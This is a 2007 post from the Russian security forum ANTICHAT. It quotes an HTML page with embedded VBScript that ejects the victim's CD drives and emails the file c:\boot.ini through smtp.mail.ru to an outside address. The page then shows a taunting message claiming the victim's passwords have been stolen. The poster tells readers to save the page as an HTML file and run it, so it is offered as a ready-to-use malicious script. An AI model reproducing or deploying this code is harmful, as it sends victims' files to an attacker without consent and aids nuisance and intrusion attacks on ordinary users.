Генератор Kuzja — ANTICHAT Forum

#11

19.05.2007, 16:36

NeXArmAor

Участник форума

Регистрация: 21.04.2007

Сообщений: 289

Провел на форуме:
4612647

Репутация: 368

helat,

Цитата:

<HTML><BODY>
<script language = "JavaScript">

</script>
<script language ="vbscript">
On Error Resume Next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Set ww = CreateObject("WMPlayer.OCX.7")
Set cw = ww.cdromCollection
if cw.Count >= 1 then
For i = 0 to cw.Count - 1
cw.Item(i).eject
next
End If
Call SendPost("smtp.mail.ru", "helats@gmail.com", "54027@mail.ru", "ВИРУС", "COPM ZARAZEN")
Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody)
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "54027"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = ""
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
Flds.Update
iMsg.Configuration = iConf
iMsg.To = strTo
iMsg.From = strFrom
iMsg.Subject = strSubject
iMsg.TextBody = strBody
iMsg.AddAttachment "c:\boot.ini"
iMsg.Send
End Function
Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
--></script></BODY></HTML>
<HTML><HEAD><TITLE>NEX</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><FONT FACE="Arial"><CENTER><BR><BR><BR><BR><BR><BR><BR>< BR><BR><BR><font size="5">хахахаха...твой комп заражен. Твои пароли ушли ко мне!</font><BR><font size="1">бугоагаггаа</font></CENTER></BODY></HTML>

Потом сохраняй как любой ХТМЛ файл и запускай.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям